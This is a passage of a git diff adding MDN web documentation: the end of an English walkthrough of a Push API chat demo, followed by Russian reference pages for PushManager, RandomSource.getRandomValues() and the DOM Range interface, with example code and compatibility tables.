Now we run a section of code when onload is fired, to start up the process of inialising the app when it is first loaded. First of all we add a click event listener to the subscribe/unsubscribe button that runs our unsubscribe() function if we are already subscribed (isPushEnabled is true), and subscribe() otherwise:

+ +
window.addEventListener('load', function() {
+  subBtn.addEventListener('click', function() {
+    if (isPushEnabled) {
+      unsubscribe();
+    } else {
+      subscribe();
+    }
+  });
+ +

Next we check to see if service workers are supported. If so, we register a service worker using {{domxref("ServiceWorkerContainer.register()")}}, and run our initialiseState() function. If not, we deliver an error message to the console.

+ +
  // Check that service workers are supported, if so, progressively
+  // enhance and add push messaging support, otherwise continue without it.
+  if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('sw.js').then(function(reg) {
+      if(reg.installing) {
+        console.log('Service worker installing');
+      } else if(reg.waiting) {
+        console.log('Service worker installed');
+      } else if(reg.active) {
+        console.log('Service worker active');
+      }
+
+      initialiseState(reg);
+    });
+  } else {
+    console.log('Service workers aren\'t supported in this browser.');
+  }
+});
+
+ +

The next thing in the source code is the initialiseState() function — for the full commented code, look at the initialiseState() source on Github (we are not repeating it here for brevity's sake.)

+ +

initialiseState() first checks whether notifications are supported on service workers, then sets the useNotifications variable to true if so. Next, it checks whether said notifications are permitted by the user, and if push messages are supported, and reacts accordingly to each.

+ +

Finally, it uses {{domxref("ServiceWorkerContainer.ready()")}} to wait until the service worker is active and ready to start doing things. Once its promise resolves, we retrieve our subscription to push messaging using the {{domxref("ServiceWorkerRegistration.pushManager")}} property, which returns a {{domxref("PushManager")}} object that we then call {{domxref("PushManager.getSubscription()")}} on. Once this second inner promise resolves, we enable the subscribe/unsubscribe button (subBtn.disabled = false;), and check that we have a subscription object to work with.

+ +

If we do, then we are already subscribed. This is possible when the app is not open in the browser; the service worker can still be active in the background. If we're subscribed, we update the UI to show that we are subscribed by updating the button label, then we set isPushEnabled to true, grab the subscription endpoint from {{domxref("PushSubscription.endpoint")}}, generate a public key using {{domxref("PushSubscription.getKey()")}}, and run our updateStatus() function, which as you'll see later communicates with the server.

+ +

As an added bonus, we set up a new {{domxref("MessageChannel")}} using the {{domxref("MessageChannel.MessageChannel()")}} constructor, grab a reference to the active service worker using {{domxref("ServiceworkerRegistration.active")}}, then set up a channel betweeen the main browser context and the service worker context using {{domxref("Worker.postMessage()")}}. The browser context receives messages on {{domxref("MessageChannel.port1")}}; whenever that happens, we run the handleChannelMessage() function to decide what to do with that data (see the {{anch("Handling channel messages sent from the service worker")}} section).

+ +

Subscribing and unsubscribing

+ +

Let's now turn our attention to the subscribe() and unsubscribe() functions used to subscribe/unsubscribe to the push notification service.

+ +

In the case of subscription, we again check that our service worker is active and ready by calling {{domxref("ServiceWorkerContainer.ready()")}}. When the promise resolves, we subscribe to the service using {{domxref("PushManager.subscribe()")}}. If the subscription is successful, we get a {{domxref("PushSubscription")}} object, extract the subscription endpoint from this and generate a public key (again, {{domxref("PushSubscription.endpoint")}} and {{domxref("PushSubscription.getKey()")}}), and pass them to our updateStatus() function along with the update type (subscribe) to send the necessary details to the server.

+ +

We also make the necessary updates to the app state (set isPushEnabled to true) and UI (enable the subscribe/unsubscribe button and set its label text to show that the next time it is pressed it will unsubscribe.)

+ +

The unsubscribe() function is pretty similar in structure, but it basically does the opposite; the most notable difference is that it gets the current subscription using {{domxref("PushManager.getSubscription()")}}, and when that promise resolves it unsubscribes using {{domxref("PushSubscription.unsubscribe()")}}.

+ +

Appropriate error handling is also provided in both functions.  

+ +

We only show the subscribe() code below, for brevity; see the full subscribe/unsubscribe code on Github.

+ +
function subscribe() {
+  // Disable the button so it can't be changed while
+  // we process the permission request
+
+  subBtn.disabled = true;
+
+  navigator.serviceWorker.ready.then(function(reg) {
+    reg.pushManager.subscribe({userVisibleOnly: true})
+      .then(function(subscription) {
+        // The subscription was successful
+        isPushEnabled = true;
+        subBtn.textContent = 'Unsubscribe from Push Messaging';
+        subBtn.disabled = false;
+
+        // Update status to subscribe current user on server, and to let
+        // other users know this user has subscribed
+        var endpoint = subscription.endpoint;
+        var key = subscription.getKey('p256dh');
+        updateStatus(endpoint,key,'subscribe');
+      })
+      .catch(function(e) {
+        if (Notification.permission === 'denied') {
+          // The user denied the notification permission which
+          // means we failed to subscribe and the user will need
+          // to manually change the notification permission to
+          // subscribe to push messages
+          console.log('Permission for Notifications was denied');
+
+        } else {
+          // A problem occurred with the subscription, this can
+          // often be down to an issue or lack of the gcm_sender_id
+          // and / or gcm_user_visible_only
+          console.log('Unable to subscribe to push.', e);
+          subBtn.disabled = false;
+          subBtn.textContent = 'Subscribe to Push Messaging';
+        }
+      });
+  });
+}
+ +

Updating the status in the app and server

+ +

The next function in our main JavaScript is updateStatus(), which updates the UI for sending chat messages when subscribing/unsubscribing and sends a request to update this information on the server.

+ +

The function does one of three different things, depending on the value of the statusType parameter passed into it:

+ + + +

Again, we have not included the entire function listing for brevity. Examine the full updateStatus() code on Github.

+ +

Handling channel messages sent from the service worker

+ +

As mentioned earlier, when a channel message is received from the service worker, our handleChannelMessage() function is called to handle it. This is done by our handler for the {{event("message")}} event, {{domxref("channel.port1.onmessage")}}:

+ +
channel.port1.onmessage = function(e) {
+  handleChannelMessage(e.data);
+}
+ +

This occurs when the service worker sends a channel message over.

+ +

The handleChannelMessage() function looks like this:

+ +
function handleChannelMessage(data) {
+  if(data.action === 'subscribe' || data.action === 'init') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name;
+    subscribersList.appendChild(listItem);
+  } else if(data.action === 'unsubscribe') {
+    for(i = 0; i < subscribersList.children.length; i++) {
+      if(subscribersList.children[i].textContent === data.name) {
+        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
+      }
+    }
+    nameInput.disabled = false;
+  } else if(data.action === 'chatMsg') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name + ": " + data.msg;
+    messagesList.appendChild(listItem);
+    sendInput.value = '';
+  }
+}
+ +

What happens here depends on what the action property on the data object is set to:

+ + + +
+

Note: We have to pass the data back to the main context before we do DOM updates because service workers don't have access to the DOM. You should be aware of the limitations of service workers before attemping to ue them. Read Using Service Workers for more details.

+
+ +

Sending chat messages

+ +

When the Send Chat Message button is clicked, the content of the associated text field is sent as a chat message. This is handled by the sendChatMessage() function (again, not shown in full for brevity). This works in a similar way to the different parts of the updateStatus() function (see {{anch("Updating the status in the app and server")}}) — we retrieve an endpoint and public key via a {{domxref("PushSubscription")}} object, which is itself retrieved via {{domxref("ServiceWorkerContainer.ready()")}} and {{domxref("PushManager.subscribe()")}}. These are sent to the server via {{domxref("XMLHttpRequest")}} in a message object, along with the name of the subscribed user, the chat message to send, and a statusType of chatMsg.

+ +

The server

+ +

As mentioned above, we need a server-side component in our app, to handle storing subscription details, and send out push messages when updates occur. We've hacked together a quick-and-dirty server using NodeJS (server.js), which handles the XHR requests sent by our client-side JavaScript code.

+ +

It uses a text file (endpoint.txt) to store subscription details; this file starts out empty. There are four different types of request, marked by the statusType property of the object sent over in the request; these are the same as those understood client-side, and perform the required server actions for that same situation. Here's what each means in the context of the server:

+ + + +

A couple more things to note:

+ + + +

The service worker

+ +

Now let's have a look at the service worker code (sw.js), which responds to the push messages, represented by {{Event("push")}} events. These are handled on the service worker's scope by the ({{domxref("ServiceWorkerGlobalScope.onpush")}}) event handler; its job is to work out what to do in response to each received message. We first convert the received message back into an object by calling {{domxref("PushMessageData.json()")}}. Next, we check what type of push message it is, by looking at the object's action property:

+ + + +
self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+ +

Next, let's look at the fireNotification() function (which is blissfully pretty simple).

+ +
function fireNotification(obj, event) {
+  var title = 'Subscription change';
+  var body = obj.name + ' has ' + obj.action + 'd.';
+  var icon = 'push-icon.png';
+  var tag = 'push';
+
+  event.waitUntil(self.registration.showNotification(title, {
+    body: body,
+    icon: icon,
+    tag: tag
+  }));
+}
+ +

Here we assemble the assets needed by the notification box: the title, body, and icon. Then we send a notification via the {{domxref("ServiceWorkerRegistration.showNotification()")}} method, providing that information as well as the tag "push", which we can use to identify this notification among any other notifications we might be using. When the notification is successfully sent, it manifests as a system notification dialog on the users computers/devices in whatever style system notifications look like on those systems (the following image shows a Mac OSX system notification.)

+ +

+ +

Note that we do this from inside an {{domxref("ExtendableEvent.waitUntil()")}} method; this is to make sure the service worker remains active until the notification has been sent. waitUntil() will extend the life cycle of the service worker until everything inside this method has completed.

+ +
+

Note: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as Clients.openWindow()) is properly implemented (see {{bug(1203324)}} for more details.)

+
+ +

Handling premature subscription expiration

+ +

Sometimes push subscriptions expire prematurely, without {{domxref("PushSubscription.unsubscribe()")}} being called. This can happen when the server gets overloaded, or if you are offline for a long time, for example.  This is highly server-dependent, so the exact behavior is difficult to predict. In any case, you can handle this problem by watching for the {{Event("pushsubscriptionchange")}} event, which you can listen for by providing a {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} event handler; this event is fired only in this specific case.

+ +
self.addEventListener('pushsubscriptionchange', function() {
+  // do something, usually resubscribe to push and
+  // send the new subscription details back to the
+  // server via XHR or Fetch
+});
+ +

Note that we don't cover this case in our demo, as a subscription ending is not a big deal for a simple chat server. But for a more complex example you'd probably want to resubscribe the user.

+ +

Extra steps for Chrome support

+ +

To get the app working on Chrome, we need a few extra steps, as Chrome currently relies on Google's Cloud Messaging service to work.

+ +

Setting up Google Cloud Messaging

+ +

To get this set up, follow these steps:

+ +
    +
  1. Navigate to the Google Developers Console  and set up a new project.
    2. +
  2. Go to your project's homepage (ours is at https://console.developers.google.com/project/push-project-978, for example), then +
      +
    1. Select the Enable Google APIs for use in your apps option.
      2. +
    2. In the next screen, click Cloud Messaging for Android under the Mobile APIs section.
      3. +
    3. Click the Enable API button.
      4. +
    +
    3. +
  3. Now you need to make a note of your project number and API key because you'll need them later. To find them: +
      +
    1. Project number: click Home on the left; the project number is clearly marked at the top of your project's home page.
      2. +
    2. API key: click Credentials on the left hand menu; the API key can be found on that screen.
      3. +
    +
    4. +
+ +

manifest.json

+ +

You need to include a Google app-style manifest.json file in your app, which references the project number you made a note of earlier in the gcm_sender_id parameter. Here is our simple example manifest.json:

+ +
{
+  "name": "Push Demo",
+  "short_name": "Push Demo",
+  "icons": [{
+        "src": "push-icon.png",
+        "sizes": "111x111",
+        "type": "image/png"
+      }],
+  "start_url": "/index.html",
+  "display": "standalone",
+  "gcm_sender_id": "224273183921"
+}
+ +

You also need to reference your manifest using a {{HTMLElement("link")}} element in your HTML:

+ +
<link rel="manifest" href="manifest.json">
+ +

userVisibleOnly

+ +

Chrome requires you to set the userVisibleOnly parameter to true when subscribing to the push service, which indicates that we are promising to show a notification whenever a push is received. This can be seen in action in our subscribe() function.

+ +

See also

+ + + +
+

Note: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in Push Notifications on the Open Web. Thanks for the awesome work, Matt!

+
diff --git a/files/ru/web/api/pushmanager/index.html b/files/ru/web/api/pushmanager/index.html new file mode 100644 index 0000000000..bf1815769e --- /dev/null +++ b/files/ru/web/api/pushmanager/index.html @@ -0,0 +1,115 @@ +--- +title: PushManager +slug: Web/API/PushManager +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Push + - Push API + - Reference + - Référence(2) + - Service Workers + - TopicStub +translation_of: Web/API/PushManager +--- +

{{SeeCompatTable}}{{ApiRef("Push API")}}

+ +

Интерфейс PushManager из Push API предоставляет возможность получать уведомления от сторонних серверов, а также запрашивать URL для push уведомлений.

+ +

Этот интерфейс доступен через свойство {{domxref("ServiceWorkerRegistration.pushManager")}}.

+ +
+

Заметка: Этот интерфейс заменил функциональность, предлагаемую устаревшим {{domxref("PushRegistrationManager")}}.

+
+ +

Свойства

+ +
+
{{domxref("PushManager.supportedContentEncodings")}}
+
Возвращает массив со списком возможных алгоритмов кодирования, которые могут быть использованы для шифрования полезной нагрузки пуш-уведомления.
+
+ +

Методы

+ +
+
{{domxref("PushManager.subscribe()")}}
+
Подписка на пуш сервис. Возвращает промис, который разрешается в {{domxref("PushSubscription")}} объект, содержащий детали новой push подписки.
+
{{domxref("PushManager.getSubscription()")}}
+
Извлекает существующую push подписку. Возвращает промис, который разрешается в {{domxref("PushSubscription")}} объект, содержащий детали существующей подписки.
+
{{domxref("PushManager.permissionState()")}}
+
Возвращает {{jsxref("Promise")}}, который разрешается в состояние доступа текущего {{domxref("PushManager")}}, которое может быть одним из 'granted', 'denied', или 'default'.
+
+ +

Устаревшие методы

+ +
+
{{domxref("PushManager.hasPermission()")}}
+
Returns a {{jsxref("Promise")}} that resolves to the PushPermissionStatus of the requesting webapp, which will be one of granted, denied, or default. Replaced by {{domxref("PushManager.permissionState()")}}.
+
{{domxref("PushManager.register()")}}
+
Subscribes to a push subscription. Replaced by {{domxref("PushManager.subscribe()")}}.
+
{{domxref("PushManager.registrations()")}}
+
Retrieves existing push subscriptions. Replaced by {{domxref("PushManager.getSubscription()")}}.
+
{{domxref("PushManager.unregister()")}}
+
Unregisters and deletes a specified subscription endpoint. In the updated API, a subscription is can be unregistered via the {{domxref("PushSubscription.unsubscribe()")}} method.
+
+ +

Пример

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Push API','#pushmanager-interface','PushManager')}}{{Spec2('Push API')}}Initial definition.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.PushManager")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html new file mode 100644 index 0000000000..a264d593d7 --- /dev/null +++ b/files/ru/web/api/pushmanager/subscribe/index.html @@ -0,0 +1,144 @@ +--- +title: PushManager.subscribe() +slug: Web/API/PushManager/subscribe +translation_of: Web/API/PushManager/subscribe +--- +

{{SeeCompatTable}}{{ApiRef("Push API")}}

+ +

Метод subscribe() интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.

+ +

Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.

+ +

Синтакс

+ +
​PushManager.subscribe(options).then(function(pushSubscription) { ... } );
+ +

Свойства

+ +
+
options {{optional_inline}}
+
Объект, содержащий необязательные параметры конфигурации. Может иметь следующие свойства: +
    +
  • userVisibleOnly: Булевое значение, указывающее на то, будет ли возвращаемая подписка использоваться для сообщений, чей эффект может быть видим для пользователя.
    • +
  • applicationServerKey: открытый ключ ECDSA P-256, закодированный в Base64 {{domxref ('DOMString')}} или {{domxref ('ArrayBuffer')}}}, содержащий , который push-сервер будет использовать для аутентификации сервера приложений. Если указано, все сообщения с сервера Вашего приложения должны использовать схему аутентификации VAPID и включать JWT, подписанный соответствующим закрытым ключом. Этот ключ НЕ тот же ключ ECDH, который вы используете для шифрования данных. Для получения дополнительной информации см. «Using VAPID with WebPush».
    • +
+ +
+

Примечание: Свойство, требуемое некоторыми браузерами, например Chrome и Edge.

+
+
+
+ +

Возвращает

+ +

{{jsxref("Promise")}} который разрешается в объект {{domxref("PushSubscription")}}.

+ +

Пример

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // Отсюда можно записывать данные в IndexedDB, отправлять их в любое
+  // открытое окно, отображать уведомление и т. д.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // Детали push-подписки, требуемые сервером приложения,
+        // теперь доступны, и могут быть отправлены, к примеру,
+        // при помощи XMLHttpRequest.
+      }, function(error) {
+        // При разработке это часто помогает отлавливать ошибки в консоли.
+        // В продакшен-среде это также может быть полезно для отправки отчета
+        // об ошибках на сервер приложения.
+        console.log(error);
+      }
+    );
+  });
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#widl-PushManager-subscribe-Promise-PushSubscription--PushSubscriptionOptions-options', 'subscribe()')}}{{Spec2('Push API')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
+
+ +

Смотрите также

+ + + +

 

+ +

 

diff --git a/files/ru/web/api/randomsource/getrandomvalues/index.html b/files/ru/web/api/randomsource/getrandomvalues/index.html new file mode 100644 index 0000000000..c59f5dde54 --- /dev/null +++ b/files/ru/web/api/randomsource/getrandomvalues/index.html @@ -0,0 +1,73 @@ +--- +title: RandomSource.getRandomValues() +slug: Web/API/RandomSource/getRandomValues +tags: + - АПИ + - Криптография + - Справка + - метод +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

Метод RandomSource.getRandomValues() позволяет вам получать криптографически стойкие числа. Массив, переданный как параметр, заполняется случайными числами (случайными в криптографическом смысле).

+ +

Для того, чтобы гарантировать достаточную производительность, реализации используют не настоящий генератор случайных чисел (RNG, en - Random Number Generator), а генератор псевдо-случайных чисел, которому предоставлено начальное зерно (wiki - https://en.wikipedia.org/wiki/Random_seed) с достаточной энтропией (http://cryptography.ru/ref/энтропия). Реализация генератора псевдо-случайных чисел (PRNG, en - PseudoRandom Number Generator) отличается от других реализаций RNG, но она больше подходит для использования в криптографии. Реализации также требуют использование начального зерна с достаточной энтропией, как источник системно-уровневой энтропии.

+ +

Синтаксис

+ +
cryptoObj.getRandomValues(typedArray);
+ +

Параметры

+ +
+
typedArray
+
Целочисленный массив {{jsxref("TypedArray")}}, например {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}}, или {{jsxref("Uint32Array")}}. Все элементы массива замещаются случайными числами.
+
+ +

Исключения

+ + + +

Пример

+ +
/* Предполагается что функция window.crypto.getRandomValues доступна */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Ваше счастливое число:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Изначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Crypto.getRandomValues")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/randomsource/index.html b/files/ru/web/api/randomsource/index.html new file mode 100644 index 0000000000..606b198440 --- /dev/null +++ b/files/ru/web/api/randomsource/index.html @@ -0,0 +1,110 @@ +--- +title: RandomSource +slug: Web/API/RandomSource +tags: + - API + - Interface + - NeedsTranslation + - RandomSource + - Reference + - TopicStub + - Web Crypto API +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

RandomSource представляет собой источник криптографически безопасных случайных чисел. Он доступен через {{domxref("Crypto")}} объект глобального объекта: {{domxref("Window.crypto")}} на веб страницах, {{domxref("WorkerGlobalScope.crypto")}} для воркеров.

+ +

RandomSource не является интерфейсом и объект этого типа не может быть создан.

+ +

Свойства

+ +

RandomSource не объявляет и не наследует никаких свойств.

+ +
+
+ +

Методы

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
Наполняет {{ domxref("ArrayBufferView") }} криптографически безопасными случайными числовыми значениями.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName('Web Crypto API', '#dfn-RandomSource')}}{{Spec2('Web Crypto API')}}Изначальное определение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка11.0 {{ webkitbug("22049") }}{{CompatGeckoDesktop(21)}} [1]11.015.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatNo() }}23{{CompatGeckoMobile(21)}}{{ CompatNo() }}{{ CompatNo() }}6
+
+ +

[1] Although the transparent RandomSource is only available since Firefox 26, the feature was available in Firefox 21.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/range/collapsed/index.html b/files/ru/web/api/range/collapsed/index.html new file mode 100644 index 0000000000..b91eed643c --- /dev/null +++ b/files/ru/web/api/range/collapsed/index.html @@ -0,0 +1,104 @@ +--- +title: Range.collapsed +slug: Web/API/Range/collapsed +translation_of: Web/API/Range/collapsed +--- +
+

{{ APIRef("DOM") }}

+
+ +

Доступное только для чтения свойство Range.collapsed возвращает флаг {{domxref("Boolean")}}, который указывает, в одной ли и той же позиции находятся начало и конец диапазона {{domxref("Range")}}. Оно возвращает true, если начало и конец граничных точех диапазона {{domxref("Range")}} являются одной и той же точкой в DOM, false – в противном случае.

+ +

Свёрнутый диапазон {{domxref("Range")}} является пустым, не имеет содержимого, определяет единую точку в древе DOM. Для того, чтобы свернуть диапазон, смотрите метод {{domxref("Range.collapse()")}}.

+ +

Syntax

+ +
isCollapsed = range.collapsed;
+
+ +

Example

+ +
var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+isCollapsed = range.collapsed;
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'Range.collapsed')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-collapsed', 'Range.collapsed')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/range/getboundingclientrect/index.html b/files/ru/web/api/range/getboundingclientrect/index.html new file mode 100644 index 0000000000..9948c1d820 --- /dev/null +++ b/files/ru/web/api/range/getboundingclientrect/index.html @@ -0,0 +1,81 @@ +--- +title: Range.getBoundingClientRect +slug: Web/API/Range/getBoundingClientRect +translation_of: Web/API/Range/getBoundingClientRect +--- +

{{ ApiRef("Range") }}{{SeeCompatTable}}

+

Метод Range.getBoundingClientRect() возвращает объект {{ domxref("ClientRect") }}, соотвествующий фрагменту документа, на основе которого создан объект Range; это прямоугольник, непосредственно обрамляющий объединение прямоугольников для каждого элемента фрагмента документа.

+

Синтаксис

+
boundingRect = range.getBoundingClientRect()
+
+

Пример

+
range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+rect = range.getBoundingClientRect();
+
+

Спецификация

+ + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSSOM View', '#dom-range-getboundingclientrect', 'Range.getBoundingClientRect()')}}{{Spec2('CSSOM View')}}Initial specification.
+

Поддержка браузеров

+

{{CompatibilityTable}}

+
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}9.015.0{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatNo}}15.0{{CompatUnknown}}
+
+

See also

+ diff --git a/files/ru/web/api/range/index.html b/files/ru/web/api/range/index.html new file mode 100644 index 0000000000..b46091e373 --- /dev/null +++ b/files/ru/web/api/range/index.html @@ -0,0 +1,243 @@ +--- +title: Range +slug: Web/API/Range +tags: + - API + - DOM +translation_of: Web/API/Range +--- +

{{ APIRef("DOM") }}

+ +

Range(диапазон) интерфейс предоставляет фрагмент документа который может содержать узлы и части текстовых узлов  данного документа. 

+ +

Range может быть создан с помощью метода {{ domxref("Document.createRange", "createRange") }}, у объекта {{ domxref("Document") }}. Или объект Range можно получить с помощью метода {{ domxref("Selection/getRangeAt", "getRangeAt") }}, у объекта {{ domxref("Selection") }}. А также с помощью конструктора {{domxref("Range.Range()", "Range()")}}.

+ +

Свойства

+ +

Нет унаследованных свойств.

+ +

{{domxref("Range.collapsed")}} {{readonlyInline}}
+ Возвращает {{domxref("Boolean")}} указывающий, находятся ли начало и конец диапазона
+ на одной и той же позиции.

+ +
+
{{domxref("Range.startContainer")}} {{readonlyInline}}
+
Возвращает {{ domxref("Node") }} внутри которого Range начинается.
+
{{domxref("Range.endContainer")}} {{readonlyInline}}
+
Возвращает {{ domxref("Node") }} внутри которого Range заканчивается .
+
{{domxref("Range.commonAncestorContainer")}} {{readonlyInline}}
+
Возвращает самый глубокий {{ domxref("Node") }} который содержит узлы startContainer и endContainer.
+
{{domxref("Range.endOffset")}} {{readonlyInline}}
+
Возвращает число равное расположению endContainer в Range .
+
+
{{domxref("Range.startOffset")}} {{readonlyInline}}
+
Returns a number representing where in the startContainer the Range starts.
+
+ +

Конструктор

+ +
+
{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}
+
Возвращают объект Range с глобальным  {{domxref("Document")}} как начало и конец.
+
+ +

Методы

+ +

Не имеют унаследованных свойств.

+ +
+
{{ domxref("Range.setStart()")}}
+
Назначают начальную позицию Range.
+
{{ domxref("Range.setEnd()")}}
+
Назначает конечную позицию Range.
+
{{ domxref("Range.setStartBefore()")}}
+
Устанавливает начальную позицию Range относительно другого {{ domxref("Node") }} пред ним.
+
{{ domxref("Range.setStartAfter()")}}
+
Устанавливает начальную позицию Range относительно другого {{ domxref("Node") }} после него.
+
{{ domxref("Range.setEndBefore()")}}
+
Устанавливает конечную позицию Range относительно другого {{ domxref("Node") }} перед ним.
+
{{ domxref("Range.setEndAfter()")}}
+
Устанавливает конечную позицию Range относительно другого {{ domxref("Node") }} после него.
+
{{ domxref("Range.selectNode()")}}
+
Выбирает Range to содержащий {{ domxref("Node") }} и его контент.
+
{{ domxref("Range.selectNodeContents()")}}
+
Выбирает Range содержащий контент {{ domxref("Node") }}.
+
{{ domxref("Range.collapse()")}}
+
Схлопавыет Range до одной из граничных точек.
+
{{ domxref("Range.cloneContents()")}}
+
Возвращает {{ domxref("DocumentFragment") }} содержащийся в узле Range.
+
{{ domxref("Range.deleteContents()")}}
+
Удаляет содержимое Range из{{ domxref("Document") }}.
+
{{ domxref("Range.extractContents()")}}
+
Переносит содержимое Range из дерева документа в {{ domxref("DocumentFragment") }}.
+
{{ domxref("Range.insertNode()")}}
+
Вставляет a {{ domxref("Node") }} в начало Range.
+
{{ domxref("Range.surroundContents()")}}
+
Переносит содержимое Range в новый {{ domxref("Node") }}.
+
{{ domxref("Range.compareBoundaryPoints()")}}
+
Сравнивает граничные точки Range с другим Range.
+
{{ domxref("Range.cloneRange()")}}
+
Возвращает  объект из Range с граничными точками идентичными клонированному Range.
+
{{ domxref("Range.detach()")}}
+
Освобождает Range от использования для улучшения производительности .
+
{{ domxref("Range.toString()")}}
+
Возвращает текст в Range.
+
{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}
+
Возвращает константу, представляющую, находится ли {{domxref("Node")}} до, после, внутри или вокруг  range.
+
{{ domxref("Range.comparePoint()")}} {{experimental_inline}}
+
Возвращает -1, 0, или 1 в зависимости от того, находиться ли referenceNode перед, внутри, или после  Range.
+
{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}
+
Возвращает {{ domxref("DocumentFragment") }} созданный из полученной строки с кодом.
+
{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}
+
Возвращает объект {{ domxref("ClientRect") }} object which bounds the entire contents of the Range; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.
+
{{ domxref("Range.getClientRects()") }} {{experimental_inline}}
+
